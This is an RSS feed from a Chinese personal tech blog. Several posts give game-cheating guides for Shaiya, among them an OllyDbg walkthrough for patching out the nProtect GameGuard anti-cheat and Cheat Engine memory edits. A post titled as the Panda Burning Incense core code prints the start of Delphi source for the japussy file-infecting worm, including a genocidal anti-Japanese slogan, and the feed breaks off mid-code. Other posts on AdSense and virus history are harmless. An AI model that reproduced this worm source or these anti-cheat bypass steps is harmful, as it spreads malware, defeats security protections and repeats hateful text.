﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-YIYE的BLOG</title><link>http://www.cnitblog.com/yiye/</link><description>随便写写。累了.

警告:我的Blog并未迁移.
http://www.15661588.cn 这个是假冒的!  小心!
增加一个骗子QQ:80811541  卖外挂的!</description><language>zh-cn</language><lastBuildDate>Mon, 15 Mar 2010 08:53:40 GMT</lastBuildDate><pubDate>Mon, 15 Mar 2010 08:53:40 GMT</pubDate><ttl>60</ttl><item><title>自己做的神泣私服外挂 。给群里朋友们用的.呵呵 ~</title><link>http://www.cnitblog.com/yiye/archive/2009/05/27/58865.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Wed, 27 May 2009 09:22:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2009/05/27/58865.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/58865.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2009/05/27/58865.html#Feedback</comments><slash:comments>87</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/58865.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/58865.html</trackback:ping><description><![CDATA[<img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/1.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/2.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/3.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/4.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/5.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/6.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/7.JPG" border="0"><br><img  src="http://www.cnitblog.com/images/cnitblog_com/yiye/8.JPG" border="0"><br><br>过段时间再放出来吧~呵呵 .&nbsp; 做的很垃圾。<br>韩服龙会一起在私服奋斗过的见证!<br><br><br><br><br><br><img src ="http://www.cnitblog.com/yiye/aggbug/58865.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2009-05-27 17:22 <a href="http://www.cnitblog.com/yiye/archive/2009/05/27/58865.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>神泣修改第三弹 OD脱NP（会掉线版本)--自己做挂挂(3)</title><link>http://www.cnitblog.com/yiye/archive/2009/03/05/55115.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Wed, 04 Mar 2009 16:24:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2009/03/05/55115.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/55115.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2009/03/05/55115.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/55115.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/55115.html</trackback:ping><description><![CDATA[1.准备工具UE ,peid,OD,stripper_v207ht(百度搜索这几个名字都能找到)<br>2.首先用peid 查查game.exe加的什么壳.我这的是:ASProtect 1.23 RC4 - 1.3.08.24 -&gt; Alexey Solodovnikov<br>不知道 韩服和国服是否一样.<br>3.当然是脱壳了,用stripper_v207 脱掉game.exe的壳.有汉化版本的 看看就会.<br>4.下面进正题。<br><br>脱壳后的 用OD载入 game.exe大小应该是(3M左右,也许GF的 和韩服大小不一样吧。)<span style="color: darkblue;"><br>载入后会看到全屏幕都是汇编代码啊。。。。。在中间大的方框点击右键-&gt;搜索-&gt;所有文本参考字串<br>然后 会出现一个新窗口。里面全是一些字符串。这就对了。<br>1&gt;在这个字符串窗口里咱们搜索-&gt;start game,找到后双击,会跳到汇编代码段。最后一栏写着 ASCII "start game" ,向下看 能看到test eax,eax 在下面就是je ，把je改成jmp. 这一部的修改时跳过每次运行神泣的时候 都要先出现更新的窗口才启动game.exe ，现在不用了。<br><br>2&gt;再重复上面的方法到字符串窗口搜索-&gt;</span><span style="color: darkblue;">nProtect GameGuard (注意这个字符串有两个搜索两次选第二个，大家对这个字符串很敏感吧，好戏在后面)<br>一样找到后双击，跳到汇编代码段,紧挨着他的下面有个jnz跳转,jnz改jmp.<br><br>3&gt;这次不要去 字符串窗口了。直接在汇编窗口按CRTL+F 搜索:</span>CMP EAX,0B7 ,在他的下面会看到一个jnz照旧改成jmp.<br><br>4&gt;<span style="color: darkblue;">继续转到字符串窗口搜索-&gt;</span>enc: %s 双击到汇编段,在他的下方会看到竖着的:<br>push 0<br>push 0<br>push 0<br>push 1<br>push 0<br>push 0<br><span style="color: darkblue;">这么一段修改push 1 到 push 0.看清楚别改错了.<br><br>5&gt;在汇编代码段 搜索 </span>MOV EAX,262 ,会找到唯一值,将MOV EAX,262 修改为MOV EAX,755.修改完成后 直接点右键分析-分析代码,然后在搜索一次 MOV EAX,755,好的，现在找到他下面第一个retn,点右键跳转-》跳转到上一个函数,慢慢找知道看到右边注释里出现:红色的<br>GetCurrentProcessID <br>空行<br>GetCurrentThreadId<br>在它的上面能看到：<br>test al,al<br>jnz 0056138C<br>这个还用我说嘛？jnz-&gt;jmp大法 !!!!这个是NP的启动线程。一定要找对了。否则无效。我曾经找这个找了3个多小时.<br><br>6&gt;如果上面都做完了那么可以收工了。HF的话 还记得我们每次都要运行app才能启动游戏吗？那个可恶的 korea version !!&nbsp; 我们就跳过它，不让它出来 这样就免APP了。方法很简单 字符串搜索-&gt;korea version <br>双击代码 修改jnz .<br><br>7&gt;下面说保存<br>所有修改完毕后 在汇编代码段 点右键-&gt;复制到可执行程序-&gt;所有修改-&gt;全部复制 会出来一个新窗口 在新窗口内继续右键-&gt;保存文件-&gt;选择保存的地方 over<br><br>..............................<br><br>好了 这个完美脱NP的教程完成了 。把保存的 game.exe放回神泣目录 ，然后运行你会发现直接跳过更新和NP了。&nbsp; 但是&nbsp; 进入游戏 玩过一段时间后 会掉线。这是NP和服务器之间有验证。服务器随即给客户端的NP发送问题，可是你的NP已经跳过去了根本没启动。所以服务器就给你踢掉了。<br>再深点的东西我也不会了。就到这吧，怎么模拟NP回答什么的，这个我是做不到。 希望有高人出手。。。<br><br><br>  <img src ="http://www.cnitblog.com/yiye/aggbug/55115.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2009-03-05 00:24 <a href="http://www.cnitblog.com/yiye/archive/2009/03/05/55115.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>神泣攻击移动加速及负面状态无效.--自己做挂挂(2)</title><link>http://www.cnitblog.com/yiye/archive/2009/03/04/55106.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Wed, 04 Mar 2009 10:01:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2009/03/04/55106.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/55106.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2009/03/04/55106.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/55106.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/55106.html</trackback:ping><description><![CDATA[用到的工具CE--》ME（这不写详细了。慢慢找吧),<br><br>用过FPE的应该都知道怎么查找值吧。<br><br>用ME也一样。神泣里有2种武器，他们的攻击速度是不一样的，所以我们可以先把武器拿下来，这样人物的攻击速度就是普通，那么普通的标识代码就是:512 (这个不要问我怎么知道的 呵呵 ),SO 我们搜索 512 一般会出来N多值，然后拿上武器 ，在搜索518 ，是不是唯一值了呢，如果不是我们取第一个，<br><br>好了。然后可以上百度看看怎么找 基址(不找基址下次还要重新搜索，麻烦，可以参考武林找基址 ，百度搜索<br>吧),（相信聪明的你 应该学会了吧。)好了 找到值了。 我们修改下 白人可以直接锁定为1033,但是黑人必须要加3362也就是 33621033 ,否则会红名。切换回游戏 。就可以看到加速效果了。把这个值锁定，不要让他变化。这样就是负面状态无效了。比如中了 减移动速度的。我曾经观察过 系统会把数值降低到5，如果我们锁定了 就不会降啦。 也许很多细节都没说吧，大家慢慢想。CE是很好玩的.发现思维总比一个人固化了好。多想想。<br><br>另:<br><br>多关注关注 国外的 修改方法。比如CE的官方网站就有CE修改神泣的 专门论坛。他们的修改已经很BT了。不是国外没有外挂。而且他们的外挂水平很高，比如无限暴击。<br><br>512 普通攻击<br><br>518 快<br><br>刺客加速 999<br><br>物理攻击最快 移动速度非常快 1001<br><br>最高值 1033 无法攻击。<br><br>大看着改吧。<br><br>HF基址就不提供了。反正在HF玩的基本都有了.<br><br><br><br><img src ="http://www.cnitblog.com/yiye/aggbug/55106.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2009-03-04 18:01 <a href="http://www.cnitblog.com/yiye/archive/2009/03/04/55106.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>神泣修改攻击距离</title><link>http://www.cnitblog.com/yiye/archive/2009/01/06/53549.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Tue, 06 Jan 2009 10:41:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2009/01/06/53549.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/53549.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2009/01/06/53549.html#Feedback</comments><slash:comments>59</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/53549.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/53549.html</trackback:ping><description><![CDATA[在17173上发了被封贴。没办法。还是用自己的博客舒服啊。<br><br>神泣资源解包工具下载地址:gq3171.ys168.com<br>UE 自己百度搜索吧<br><br>神泣解包程序不要教怎么用了吧。慢慢研究。<br><br>简单说说怎么修改<br><br>用资源解包分离出SKILL.SDATA <br>然后 UE打开<br><br>结合 Ctrl+f&nbsp; 输入：你要改的魔法名字<br><br>然后点上下面的 ASCII 然后搜索 。找到后 会看到代码块 <br><br>比如报复 默认攻击距离是 24M 转换到 十六进制是 18<br><br>在报复下面的 字段里找18这个 关键字。 仔细看。!!<br><br>找到后 改成 你想要的距离（战士法师牧师建议35M 。弓箭手 75M)<br><br>对了我们所说的 范围是 十进制的 。用windows计算器 转换成16进制。然后填到18这个位置上。<br><br>后面就是保存。<br><br>覆盖回 原文件 就OK。<br><br> <img src ="http://www.cnitblog.com/yiye/aggbug/53549.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2009-01-06 18:41 <a href="http://www.cnitblog.com/yiye/archive/2009/01/06/53549.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>巧用博客挂Google Adsense广告赚美元</title><link>http://www.cnitblog.com/yiye/archive/2007/05/22/27449.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Tue, 22 May 2007 09:17:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/22/27449.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27449.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/22/27449.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27449.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27449.html</trackback:ping><description><![CDATA[<span class=oblog_text>&nbsp;
<p>许多个人网站站长申请了google adsense广告，在自己的网站挂上广告，让流量变成美元。 现在又流行开博客，据说国内博客数量已有数百万个。许多博客的访问量也是惊人的，例如老徐的博客总流量已经超过千万。那么，能不能让博客也帮我们赚钱呢？</p>
<p>经过摸索，我发现小法宝博客也可以挂google adsense广告，哈哈，爽吧，可以靠博客赚美元了！</p>
<p>首页左侧，以及每个文章页面的底部等，都可以放置google adsense广告。 你也想利用博客来赚广告费吗？跟我一起来吧！</p>
<p>首先介绍一下，在博客挂google adsense广告需要具备的条件： 1.你需要有一个博客（废话）。 2.你需要已经申请google adsense，并获批准。 如果你还没有申请，请到点击本站首页的&#8220;通过Google Adsense使您的网站产生收益&#8221;图标去申请。 3.将代码和你的大作一起上传到你的博客并大力推广，使尽可能多的网友浏览你的博客。 </p>
<p>接下来介绍具体的实现步骤： 第一步：登陆google adsense后台，生成广告代码。小法宝博客首页左侧的广告，最合适的广告形式是&#8220;摩天大楼&#8221;（160*600）。 复制代码到记事本，保存为.htm文件，文件名任取，例如google.htm。 然后把这个文件上传到你的网站空间里，你要弄清楚这个文件的实际URL地址，下一步的代码中将通过这个URL地址来调用google adsense广告代码。 第二步：登陆博客控制面板，在左侧菜单中点击&#8220;首页内容维护&#8221;，进入&#8220;自定义空白面板&#8221;，点击&#8220;新增&#8221;，为面板取一个标题，例如&#8220;google广告&#8221;，注意要勾选&#8220;显示源代码&#8221;，然后在内容框中输入代码：&lt;IFRAME align=center marginWidth=0 marginHeight=0 src="广告代码URL地址" <br>frameBorder=0 width=160 scrolling=no height=600&gt;&lt;/IFRAME&gt; <br>，之后点&#8220;保存&#8221;。 第三步：在控制面板左侧菜单中点击&#8220;定制我的首页&#8221;，在随后的弹出页中点击&#8220;添加模块&#8221;，勾选上一步新增的&#8220;google广告&#8221;面板，单击&#8220;选取&#8221;）。 这时，已经看到google adsense广告的初貌了，不过，它是出现在左侧最下方的，你可把它移动到&#8220;活动地带&#8221;的下方。 最后点&#8220;保存设置&#8221;，快到首页去看看，google adsense广告已经显示在首页了。 </p>
<p>文章页面也可添加google adsense广告。只要在google adsense后台生成一个468*60或其它形式的广告代码，然后将代码文件上传到你自己的网站空间，最后在每个文章源代码的合适合位置加入以下代码即可：&lt;IFRAME src="广告代码URL地址" align=center marginWidth=0 marginHeight=0 frameBorder=0 scrolling=no width=468 height=60&gt;&lt;/IFRAME&gt; 。</p>
<p>注意：1.只有使用Word编辑器的才能显示源代码，因此，使用UBB编辑器环境下发表的文章中无法添加google adsense广告。 2.根据google adsense许可政策，无论首页还是次页，每个页面最多只能加入3个广告位，因此，请不要将广告加在文章顶部，否则你的博客首页中，每篇文章顶部的广告都会显示。</p>
</span>
<img src ="http://www.cnitblog.com/yiye/aggbug/27449.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-22 17:17 <a href="http://www.cnitblog.com/yiye/archive/2007/05/22/27449.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PC历史上10大最具破坏力病毒排行出炉</title><link>http://www.cnitblog.com/yiye/archive/2007/05/21/27422.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Mon, 21 May 2007 15:37:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/21/27422.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27422.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/21/27422.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27422.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27422.html</trackback:ping><description><![CDATA[<p>中国IT产业社区网站Techweb根据多方面评估，评出了20年来破坏力最大的10种计算机病毒：</p>
<p>&nbsp;1. <strong>CIH（1998年）</strong>感染Win95/98中的可行性文件，这种病毒在Windows环境下传播，其实时性和隐蔽性都特别强，变种可以重写BIOS.大约在世界范围内造成了两千万到八千万美元的损失。</p>
<p>&nbsp;2.<strong>梅利莎（Melissa，1999年）</strong>Melissa病毒是一种迅速传播的宏病毒，它作为电子邮件的附件进行传播，尽管Melissa病毒不会毁坏文件或其它资源，但是它可能会使企业或其它邮件服务端程序停止运行，因为它发出大量的邮件形成了极大的电子邮件信息流。1999年3月26日爆发，感染了15%-20%的商业<a onclick="javascript:tagshow(event, '%B5%E7%C4%D4');" href="javascript:;" target=_self><u><strong><font color=#000066>电脑</font></strong></u></a>，带来了三千万到六千万美元的损失。</p>
<p>&nbsp;3.<strong>爱虫（I <a onclick="javascript:tagshow(event, 'love');" href="javascript:;" target=_self><u><strong><font color=#000066>love</font></strong></u></a> you，2000年）</strong>和Melissa一样通过电子邮件传播，而其破坏性要比Melissa强的多，可以删除本地部分<a onclick="javascript:tagshow(event, '%CD%BC%C6%AC');" href="javascript:;" target=_self><u><strong><font color=#000066>图片</font></strong></u></a>和文本，大约造成了一千万到一千五百万美元的损失。</p>
<p>&nbsp;4.<strong>红色代码（Code Red，2001年）</strong>Code Red是一种蠕虫病毒，本质上是利用了缓存区溢出攻击方式，使用服务器的端口80进行传播，而这个端口正是Web服务器与浏览器进行信息交流的渠道。与其它病毒不同的是，Code Red并不将病毒信息写入被攻击服务器的硬盘，它只是驻留在被攻击服务器的内存中。大约在世界范围内造成了二百八十万美元的损失。</p>
<p>&nbsp;5. <strong>SQL Slammer（2003年）</strong>Slammer是一款DDOS恶意程序，透过一种全新的传染途径，采取分布式阻断服务攻击感染服务器，它利用SQL Server弱点采取阻断服务攻击1434端口并在内存中感染SQL Server，通过被感染的SQL Server再大量的散播阻断服务攻击与感染，造成SQL Server无法正常作业或宕机，使内部网络拥塞。和Code Red一样，它只是驻留在被攻击服务器的内存中。大约在世界范围内造成了五十万台服务器当机，让韩国整个网络瘫痪了12个小时。</p>
<p>&nbsp;6.<strong>冲击波（Blaster，2003年）</strong>冲击波病毒是利用微软公司在当年7月21日公布的RPC漏洞进行传播的，只要是计算机上有RPC服务并且没有打<a onclick="javascript:tagshow(event, '%B0%B2%C8%AB');" href="javascript:;" target=_self><u><strong><font color=#000066>安全</font></strong></u></a>补丁的计算机都存在有RPC漏洞，该病毒感染<a onclick="javascript:tagshow(event, '%CF%B5%CD%B3');" href="javascript:;" target=_self><u><strong><font color=#000066>系统</font></strong></u></a>后，会使计算机产生下列现象：系统资源被大量占用，有时会弹出RPC服务终止的对话框，并且系统反复重启，不能收发邮件、不能正常复制文件、无法正常浏览网页，复制粘贴等操作受到严重影响，DNS和IIS服务遭到非法拒绝等。这个病毒该是近期国内比较熟悉一个大范围影响的病毒了。大约造成了二百万到一千万美元的损失，而事实上受影响的电脑则是成千上万，不计其数。</p>
<p>&nbsp;7.<strong>大无极。F（Sobig.F，2003年）</strong>这是Sobig蠕虫的第5个变种，具有非常强的感染能力，因此将会发生庞大的电子邮件传输，使全球各地的电子邮件服务器当机，由于其特性，还将会极其危险的泄漏本地数据。大约造成了五百万到一千万美元的损失，有超过一百万台电脑受感染。</p>
<p>&nbsp;8.<strong>贝革热（Bagle，2004年）</strong>Bagle也被称为Beagle，是一种透过电子邮件散布的蠕虫病毒，它通过远程访问网站利用电子邮件系统进行散布，并在Windows系统建立backdoor，至今为止，这个蠕虫可能是程度最严重，传播范围最广泛的蠕虫病毒，其影响仍然处于上升趋势。目前已经造成了上千万美元的损失，而且仍然在继续。</p>
<p>&nbsp;9. <strong>MyDoom（2004年）</strong>该病毒采用的是病毒和垃圾邮件相结合的战术，可以迅速在企业电子邮件系统中传播开来，导致邮件数量暴增，从而阻塞网络。不管是病毒还是垃圾邮件，无论哪一样在去年都给用户造成了足够多的烦恼，而如今这两者的结合更是来势凶猛，再加上大多数用户对此并不知情，使得这种病毒的传播速度突破了原来的各种病毒的传播速度。根据MessageLabs调查公司的数据显示，在MyDoom病毒发作的高峰时刻，每10封邮件中就有一封被此种病毒感染，而对于前一年肆虐的Sobig病毒，每17封邮件中才会有一封邮件被感染。在其爆发最严重的时候，让全球的网络速度大幅度价低。</p>
<p>&nbsp;10.<strong>震荡波（Sasser，2004年）</strong>震荡波病毒会在网络上自动搜索系统有漏洞的电脑，并直接引导这些电脑下载病毒文件并执行，因此整个传播和发作过程不需要人为干预。只要这些用户的电脑没有安装补丁程序并接入互联网，就有可能被感染。这样子的发作特点很像当年的冲击波，会让系统文件崩溃，造成电脑反复重启。目前已经造成了上千万美元的损失。</p>
<img src ="http://www.cnitblog.com/yiye/aggbug/27422.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-21 23:37 <a href="http://www.cnitblog.com/yiye/archive/2007/05/21/27422.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>全球九大病毒寄居地 </title><link>http://www.cnitblog.com/yiye/archive/2007/05/21/27418.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Mon, 21 May 2007 14:52:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/21/27418.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27418.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/21/27418.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27418.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27418.html</trackback:ping><description><![CDATA[<div>据英国著名安全软件厂商sophos日前公布的调查报告显示，今年第一季度，中国和美国依然托管着全球大部分恶意网站。而中国托管的恶意网站上的病毒数量占到了全球的41.1%，高居榜首。 </div>
<div>&nbsp;&nbsp;&nbsp; 今年第一季度，sophos每天平均发现5000个新感染页面。其中，大部分含有病毒的网站均由中国和美国托管。今年3月份，中国的托管比例为35.6%，美国为32.3%。但整个第一季度，中国的托管比例上升到41.1%，而美国为29.2%。以下为今年第一季度恶意网站九大托管国家： </div>
<div align=left>&nbsp;&nbsp; 1. 中国（41.1%） </div>
<div align=left>&nbsp;&nbsp; 2. 美国 （29.2%） </div>
<div align=left>&nbsp;&nbsp; 3. 俄罗斯 （4.6%） </div>
<div align=left>&nbsp;&nbsp; 4. 德国 （4.6%） </div>
<div align=left>&nbsp;&nbsp; 5. 乌克兰 （3.9%） </div>
<div align=left>&nbsp;&nbsp; 6. 英国 （3.0%） </div>
<div align=left>&nbsp;&nbsp; 7. 法国 （2.2%） </div>
<div align=left>&nbsp;&nbsp; 8. 荷兰 （1.9%） </div>
<div align=left>&nbsp;&nbsp; 9. 韩国 （1.3%）<br></div>
<img src ="http://www.cnitblog.com/yiye/aggbug/27418.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/yiye/" target="_blank">yiye</a> 2007-05-21 22:52 <a href="http://www.cnitblog.com/yiye/archive/2007/05/21/27418.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>熊猫烧香核心代码 </title><link>http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html</link><dc:creator>yiye</dc:creator><author>yiye</author><pubDate>Mon, 21 May 2007 14:51:00 GMT</pubDate><guid>http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html</guid><wfw:comment>http://www.cnitblog.com/yiye/comments/27417.html</wfw:comment><comments>http://www.cnitblog.com/yiye/archive/2007/05/21/27417.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/yiye/comments/commentRss/27417.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/yiye/services/trackbacks/27417.html</trackback:ping><description><![CDATA[<span class=oblog_text>program&nbsp;japussy;<br>uses<br>windows,&nbsp;sysutils,&nbsp;classes,&nbsp;graphics,&nbsp;shellapi{,&nbsp;registry};<br>const<br>headersize&nbsp;=&nbsp;82432;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//病毒体的大小<br>iconoffset&nbsp;=&nbsp;$12eb8;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//pe文件主图标的偏移量<br><br>//在我的delphi5&nbsp;sp1上面编译得到的大小，其它版本的delphi可能不同<br>//查找2800000020的十六进制字符串可以找到主图标的偏移量<br>&nbsp;&nbsp;<br>{<br>headersize&nbsp;=&nbsp;38912;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//upx压缩过病毒体的大小<br>iconoffset&nbsp;=&nbsp;$92bc;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//upx压缩过pe文件主图标的偏移量<br><br>//upx&nbsp;1.24w&nbsp;用法:&nbsp;upx&nbsp;-9&nbsp;--8086&nbsp;japussy.exe<br>}<br>iconsize&nbsp;&nbsp;&nbsp;=&nbsp;$2e8;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//pe文件主图标的大小--744字节<br>icontail&nbsp;&nbsp;&nbsp;=&nbsp;iconoffset&nbsp;+&nbsp;iconsize;&nbsp;//pe文件主图标的尾部<br>id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$44444444;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//感染标记<br><br>//垃圾码，以备写入<br>catchword&nbsp;=&nbsp;'if&nbsp;a&nbsp;race&nbsp;need&nbsp;to&nbsp;be&nbsp;killed&nbsp;out,&nbsp;it&nbsp;must&nbsp;be&nbsp;yamato.&nbsp;'&nbsp;+<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'if&nbsp;a&nbsp;country&nbsp;need&nbsp;to&nbsp;be&nbsp;destroyed,&nbsp;it&nbsp;must&nbsp;be&nbsp;japan!&nbsp;'&nbsp;+<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'***&nbsp;w32.japussy.worm.a&nbsp;***';<br>{$r&nbsp;*.res}<br>function&nbsp;registerserviceprocess(dwprocessid,&nbsp;dwtype:&nbsp;integer):&nbsp;integer;&nbsp;<br>stdcall;&nbsp;external&nbsp;'kernel32.dll';&nbsp;//函数声明<br>var<br>tmpfile:&nbsp;string;<br>si:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;startupinfo;<br>pi:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;process_information;<br>isjap:&nbsp;&nbsp;&nbsp;boolean&nbsp;=&nbsp;false;&nbsp;//日文操作系统标记<br>{&nbsp;判断是否为win9x&nbsp;}<br>function&nbsp;iswin9x:&nbsp;boolean;<br>var<br>ver:&nbsp;tosversioninfo;<br>begin<br>result&nbsp;:=&nbsp;false;<br>ver.dwosversioninfosize&nbsp;:=&nbsp;sizeof(tosversioninfo);<br>if&nbsp;not&nbsp;getversionex(ver)&nbsp;then<br>&nbsp;&nbsp;exit;<br>if&nbsp;(ver.dwplatformid&nbsp;=&nbsp;ver_platform_win32_windows)&nbsp;then&nbsp;//win9x<br>&nbsp;&nbsp;result&nbsp;:=&nbsp;true;<br>end;<br>{&nbsp;在流之间复制&nbsp;}<br>procedure&nbsp;copystream(src:&nbsp;tstream;&nbsp;sstartpos:&nbsp;integer;&nbsp;dst:&nbsp;tstream;<br>dstartpos:&nbsp;integer;&nbsp;count:&nbsp;integer);<br>var<br>scurpos,&nbsp;dcurpos:&nbsp;integer;<br>begin<br>scurpos&nbsp;:=&nbsp;src.position;<br>dcurpos&nbsp;:=&nbsp;dst.position;<br>src.seek(sstartpos,&nbsp;0);<br>dst.seek(dstartpos,&nbsp;0);<br>dst.copyfrom(src,&nbsp;count);<br>src.seek(scurpos,&nbsp;0);<br>dst.seek(dcurpos,&nbsp;0);<br>end;<br>{&nbsp;将宿主文件从已感染的pe文件中分离出来，以备使用&nbsp;}<br>procedure&nbsp;extractfile(filename:&nbsp;string);<br>var<br>sstream,&nbsp;dstream:&nbsp;tfilestream;<br>begin<br>try<br>&nbsp;&nbsp;sstream&nbsp;:=&nbsp;tfilestream.create(paramstr(0),&nbsp;fmopenread&nbsp;or&nbsp;fmsharedenynone);<br>&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;dstream&nbsp;:=&nbsp;tfilestream.create(filename,&nbsp;fmcreate);<br>&nbsp;&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;&nbsp;sstream.seek(headersize,&nbsp;0);&nbsp;//跳过头部的病毒部分<br>&nbsp;&nbsp;&nbsp;&nbsp;dstream.copyfrom(sstream,&nbsp;sstream.size&nbsp;-&nbsp;headersize);<br>&nbsp;&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;dstream.free;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;&nbsp;sstream.free;<br>&nbsp;&nbsp;end;<br>except<br>end;<br>end;<br>{&nbsp;填充startupinfo结构&nbsp;}<br>procedure&nbsp;fillstartupinfo(var&nbsp;si:&nbsp;startupinfo;&nbsp;state:&nbsp;word);<br>begin<br>si.cb&nbsp;:=&nbsp;sizeof(si);<br>si.lpreserved&nbsp;:=&nbsp;nil;<br>si.lpdesktop&nbsp;:=&nbsp;nil;<br>si.lptitle&nbsp;:=&n